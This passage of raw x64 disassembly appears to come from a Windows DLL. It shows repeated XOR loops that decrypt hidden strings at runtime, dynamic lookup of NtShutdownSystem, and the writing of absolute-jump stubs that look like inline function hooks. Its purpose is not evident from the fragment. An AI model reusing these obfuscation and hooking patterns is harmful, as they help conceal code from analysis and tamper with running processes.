movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x180009c40
mov eax, dword [0x18002abe0]
mov dword [rbp - 0x80], eax
movzx eax, word [0x18002abe4]
mov word [rbp - 0x7c], ax
mov byte [rbp - 0x80], 0x2e
xor byte [rbp - 0x7f], 0x39
xor byte [rbp - 0x7e], 0x3a
xor byte [rbp - 0x7d], 0x3b
xor al, 0x3c
mov byte [rbp - 0x7c], al
xor byte [rbp - 0x7b], 0x3d
movsd xmm0, qword [str.VMUHWOPSn_:D]
movsd qword [rbp + 0xb8], xmm0
mov eax, dword [0x18002abd8]
mov dword [rbp + 0xc0], eax
movzx eax, byte [0x18002abdc]
mov byte [rbp + 0xc4], al
mov r8d, ebx
cmp r15d, 2
jl 0x180009dbf
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm12
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.VMUHWOPSn_:D]
xorps xmm1, xmm0
movd dword [rbp + 0xb8], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xbc]
xorps xmm2, xmm1
movd dword [rbp + 0xbc], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0xb8]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x180009dd0
lea rcx, [rbp + 0xb8]
call fcn.180001d70
test rax, rax
jne 0x180009fd8
movups xmm0, xmmword [str.QWLZPTZ]
movups xmmword [rbp + 0xb70], xmm0
movups xmm1, xmmword [str._.6__f__j__9:__r_748WLQ_eODMK__b7e3___8k]
movups xmmword [rbp + 0xb80], xmm1
movups xmm0, xmmword [0x18004aba0]
movups xmmword [rbp + 0xb90], xmm0
movups xmm1, xmmword [0x18004abb0]
movups xmmword [rbp + 0xba0], xmm1
cmp r15d, 2
jl 0x180009f77
mov edx, ebx
lea rcx, [rbp + 0xb70]
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm14
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm14
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add edx, 8
lea rcx, [rcx + 0x10]
cmp edx, 0x20
jl 0x180009e70
lea rcx, [rbp + 0xb70]
call fcn.1800158e0
movzx eax, al
jmp 0x18000a01b
lea r9, [rbp + 0xb70]
mov r8d, ebx
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x38
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x20
jl 0x180009f90
lea rcx, [rbp + 0xb70]
call fcn.1800158e0
movzx eax, al
jmp 0x18000a01b
mov dword [rsp + 0x40], ebx
lea r9, [rsp + 0x40]
mov r8, rax
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x11f0]
call fcn.180016dc0
mov r8d, dword [rsp + 0x40]
lea rdx, [rbp + 0xf8]
mov qword [rsp + 0x20], rdx
lea r9, [rbp + 0xd8]
mov rdx, rax
lea rcx, [rbp + 0x11f0]
call fcn.180016820
mov qword [0x18008a278], rax
lea rcx, [0x18008a288]
call fcn.180027224
mov r14, qword [0x18008a278]
test r14, r14
jne 0x18000a20f
movups xmm0, xmmword [0x18004a910]
movups xmmword [rbp + 0xb20], xmm0
movups xmm1, xmmword [0x18004a920]
movups xmmword [rbp + 0xb30], xmm1
movups xmm0, xmmword [0x18004a930]
movups xmmword [rbp + 0xb40], xmm0
movups xmm1, xmmword [0x18004a940]
movups xmmword [rbp + 0xb50], xmm1
movsd xmm0, qword [0x18004a950]
movsd qword [rbp + 0xb60], xmm0
movzx eax, word [0x18004a958]
mov word [rbp + 0xb68], ax
mov r8d, ebx
cmp r15d, 2
jl 0x18000a1ad
lea rcx, [rbp + 0xb20]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm14
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm14
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x20
jl 0x18000a0b0
cmp r8d, 0x25
jge 0x18000a1f7
movsxd rax, r8d
lea r9, [rbp + 0xb20]
lea r9, [r9 + rax*2]
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x38
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x25
jl 0x18000a1c0
lea rcx, [rbp + 0xb20]
call fcn.1800158e0
mov qword [rbp + 0x14c7], rbx
jmp 0x18000a8a7
mov dword [rbp + 0x1178], ebx
mov edx, r12d
mov rax, qword gs:[0x58]
mov rax, qword [rax + rdx*8]
mov ecx, dword [r13 + rax]
cmp dword [0x18008a298], ecx
jle 0x18000a503
lea rcx, [0x18008a298]
call fcn.180027290
cmp dword [0x18008a298], 0xffffffff
jne 0x18000a503
mov rax, qword [str.UWVSK__]
mov qword [rbp + 0x40], rax
cmp byte [0x18002ac27], 0
je 0x18000a393
cmp r15d, 2
jl 0x18000a34a
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm12
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x40]
xorps xmm2, xmm1
movd dword [rbp + 0x40], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x44]
xorps xmm2, xmm1
movd dword [rbp + 0x44], xmm2
jmp 0x18000a393
lea r9, [rbp + 0x40]
mov r8d, ebx
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x18000a360
mov eax, dword [0x18002abd8]
mov dword [rbp - 0x38], eax
movsd xmm0, qword [str.VMUHWOPSn_:D]
movzx eax, byte [0x18002abdc]
movsd qword [rbp - 0x40], xmm0
mov byte [rbp - 0x34], al
mov r8d, ebx
cmp r15d, 2
jl 0x18000a4a0
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm12
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.VMUHWOPSn_:D]
xorps xmm1, xmm0
movd dword [rbp - 0x40], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x3c]
xorps xmm2, xmm1
movd dword [rbp - 0x3c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp - 0x40]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x18000a4b0
lea rdx, [rbp + 0x40]
lea rcx, [rbp - 0x40]
call fcn.180001f60
mov qword [0x18008a300], rax
lea rcx, [0x18008a298]
call fcn.180027224
mov r12, qword [0x18008a300]
mov edx, dword [0x18008a250]
mov rax, qword gs:[0x58]
mov rax, qword [rax + rdx*8]
mov ecx, dword [r13 + rax]
cmp dword [0x18008a2f8], ecx
jle 0x18000a56f
lea rcx, [0x18008a2f8]
call fcn.180027290
cmp dword [0x18008a2f8], 0xffffffff
jne 0x18000a56f
lea rcx, [0x18002a978]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x18008a2b8], rax
lea rcx, [0x18008a2f8]
call fcn.180027224
mov dword [rbp + 0x1a70], 0x25ff
mov word [rbp + 0x1a74], 0
mov qword [rbp + 0x1a76], r12
mov rax, qword [0x18008a2a8]
mov qword [rbp + 0x13d0], 0xe
lea rcx, [rbp + 0x1a90]
mov qword [rbp + 0x10b8], rcx
mov qword [rbp + 0x10c0], rax
mov rcx, qword [rbp + 0x1228]
test rcx, rcx
je 0x18000e6d9
mov rax, qword [rcx]
mov r10, qword [rax + 0x10]
lea r9, [rbp + 0x13d0]
lea r8, [rbp + 0x10b8]
lea rdx, [rbp + 0x10c0]
call r10
test al, al
je 0x18000a6dc
mov rax, qword [0x18008a2a8]
mov qword [rbp + 0x13b8], 0xe
lea rcx, [rbp + 0x1a70]
mov qword [rbp + 0x1000], rcx
mov qword [rbp + 0x10c8], rax
mov rcx, qword [rbp + 0x1268]
test rcx, rcx
je 0x18000e6d9
mov rax, qword [rcx]
mov r10, qword [rax + 0x10]
lea r9, [rbp + 0x13b8]
lea r8, [rbp + 0x1000]
lea rdx, [rbp + 0x10c8]
call r10
test al, al
je 0x18000a6dc
mov rax, qword [0x18008a2b8]
lea rdx, [r14 + 1]
mov r8d, 4
lea rcx, [rbp + 0x1178]
call rax
mov r12, rax
mov rcx, qword [0x18008a2a8]
mov qword [rbp + 0x1410], 0xe
lea rax, [rbp + 0x1a90]
mov qword [rbp + 0x10d0], rax
mov qword [rbp + 0x10d8], rcx
mov rcx, qword [rbp + 0x1268]
test rcx, rcx
je 0x18000e6d9
mov rdx, qword [rcx]
mov r10, qword [rdx + 0x10]
lea r9, [rbp + 0x1410]
lea r8, [rbp + 0x10d0]
lea rdx, [rbp + 0x10d8]
call r10
test al, al
je 0x18000a6dc
test r12, r12
je 0x18000a6dc
movsxd rax, dword [rbp + 0x1178]
add r14, 5
add r14, rax
jmp 0x18000a6df
mov r14, rbx
mov r12d, dword [0x18008a250]
mov edx, r12d
mov rax, qword gs:[0x58]
mov rax, qword [rax + rdx*8]
mov ecx, dword [r13 + rax]
cmp dword [0x18008a2c8], ecx
jle 0x18000a748
lea rcx, [0x18008a2c8]
call fcn.180027290
cmp dword [0x18008a2c8], 0xffffffff
jne 0x18000a748
lea rcx, [0x18002a978]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x18008a280], rax
lea rcx, [0x18008a2c8]
call fcn.180027224
mov dword [rbp + 0x1a60], 0x25ff
mov word [rbp + 0x1a64], 0
mov qword [rbp + 0x1a66], r14
mov rax, qword [0x18008a2a8]
mov qword [rbp + 0x1338], 0xe
lea rcx, [rbp + 0x1b10]
mov qword [rbp + 0x10e0], rcx
mov qword [rbp + 0x10e8], rax
mov rcx, qword [rbp + 0x1228]
test rcx, rcx
je 0x18000e6d9
mov rax, qword [rcx]
mov r10, qword [rax + 0x10]
lea r9, [rbp + 0x1338]
lea r8, [rbp + 0x10e0]
lea rdx, [rbp + 0x10e8]
call r10
test al, al
jne 0x18000a7c8
mov r14, rbx
jmp 0x18000a8a0
mov rax, qword [0x18008a2a8]
mov qword [rbp + 0x1340], 0xe
lea rcx, [rbp + 0x1a60]
mov qword [rbp + 0x10f0], rcx
mov qword [rbp + 0x10f8], rax
mov rcx, qword [rbp + 0x1268]
test rcx, rcx
je 0x18000e6d9
mov rax, qword [rcx]
mov r10, qword [rax + 0x10]
lea r9, [rbp + 0x1340]
lea r8, [rbp + 0x10f0]
lea rdx, [rbp + 0x10f8]
call r10
test al, al
jne 0x18000a82b
mov r14, rbx
jmp 0x18000a8a0
mov rax, qword [0x18008a280]
xor r9d, r9d
xor r8d, r8d
mov edx, edi
mov ecx, 8
call rax
mov r14, rax
mov rcx, qword [0x18008a2a8]
mov qword [rbp + 0x1348], 0xe
lea rax, [rbp + 0x1b10]
mov qword [rbp + 0x1100], rax
mov qword [rbp + 0x1108], rcx
mov rcx, qword [rbp + 0x1268]
test rcx, rcx
je 0x18000e6d9
mov rdx, qword [rcx]
mov r10, qword [rdx + 0x10]
lea r9, [rbp + 0x1348]
lea r8, [rbp + 0x1100]
lea rdx, [rbp + 0x1108]
call r10
test al, al
cmove r14, rbx
mov qword [rbp + 0x14c7], r14
movzx eax, word [0x18004acb0]
movups xmm0, xmmword [0x18004ac98]
mov word [rbp + 0x168], ax
movups xmmword [rbp + 0x150], xmm0
movzx eax, byte [0x18004acb2]
movsd xmm0, qword [0x18004aca8]
mov byte [rbp + 0x16a], al
movsd qword [rbp + 0x160], xmm0
mov r8d, ebx
cmp r15d, 2
jl 0x18000a9f5
movdqa xmmword [rsp + 0x40], xmm12
lea rcx, [rbp + 0x154]
mov edx, dword [rsp + 0x40]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x18000a900
cmp r8d, 0x1b
jge 0x18000aa43
movsxd rax, r8d
lea r9, [rbp + 0x150]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x18000aa10
mov eax, dword [0x18002abd8]
mov dword [rbp + 0xa0], eax
movzx eax, byte [0x18002abdc]
movsd xmm0, qword [str.VMUHWOPSn_:D]
mov byte [rbp + 0xa4], al
movsd qword [rbp + 0x98], xmm0
mov r8d, ebx
cmp r15d, 2
jl 0x18000ab62
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm12
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.VMUHWOPSn_:D]
xorps xmm1, xmm0
movd dword [rbp + 0x98], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x9c]
xorps xmm2, xmm1
movd dword [rbp + 0x9c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x98]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x18000ab70
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0x98]
call fcn.180001f60
mov qword [rbp + 0x149d], rax
movups xmm0, xmmword [str.uTyTLDhV257___b_3K]
movups xmmword [rbp + 0x348], xmm0
mov eax, dword [0x18002ad08]
mov dword [rbp + 0x358], eax
mov r14, rsi
cmp byte [0x18002ad0b], 0
je 0x18000ad53
mov r8d, ebx
cmp r15d, 2
jl 0x18000ad05
movdqa xmmword [rsp + 0x40], xmm12
lea rcx, [rbp + 0x34c]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x18000ac10
cmp r8d, 0x14
jge 0x18000ad53
movsxd rax, r8d
lea r9, [rbp + 0x348]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x18000ad20
mov eax, dword [0x18002abd8]
mov dword [rbp + 0x90], eax
movzx eax, byte [0x18002abdc]
movsd xmm0, qword [str.VMUHWOPSn_:D]
mov byte [rbp + 0x94], al
movsd qword [rbp + 0x88], xmm0
mov r8d, ebx
cmp r15d, 2
jl 0x18000ae72
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm12
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.VMUHWOPSn_:D]
xorps xmm1, xmm0
movd dword [rbp + 0x88], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x8c]
xorps xmm2, xmm1
movd dword [rbp + 0x8c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x88]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x18000ae80
lea rdx, [rbp + 0x348]
lea rcx, [rbp + 0x88]
call fcn.180001f60
mov qword [rbp + 0x14df], rax
mov rdx, r14
lea rcx, [rbp + 0x11f0]
call fcn.180010b80
mov qword [rbp + 0x14f1], rax
lea rdx, [rbp + 0x11f0]
lea rcx, [rbp + 0x16f0]
call fcn.1800121a0
nop
lea r8, [rbp + 0x1120]
lea rdx, [0x180087590]
lea rcx, [rbp + 0x16f0]
call fcn.180013140
test al, al
jne 0x18000bc3e
mov edx, r12d
mov rax, qword gs:[0x58]
mov rax, qword [rax + rdx*8]
mov ecx, dword [r13 + rax]
cmp dword [0x18008a298], ecx
jle 0x18000b203
lea rcx, [0x18008a298]
call fcn.180027290
cmp dword [0x18008a298], 0xffffffff
jne 0x18000b203
mov rax, qword [str.UWVSK__]
mov qword [rbp + 0x60], rax
cmp byte [0x18002ac27], 0
je 0x18000b093
cmp r15d, 2
jl 0x18000b04e
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm12
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x60]
xorps xmm2, xmm1
movd dword [rbp + 0x60], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x64]
xorps xmm2, xmm1
movd dword [rbp + 0x64], xmm2
jmp 0x18000b093
lea r9, [rbp + 0x60]
mov r8d, ebx
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
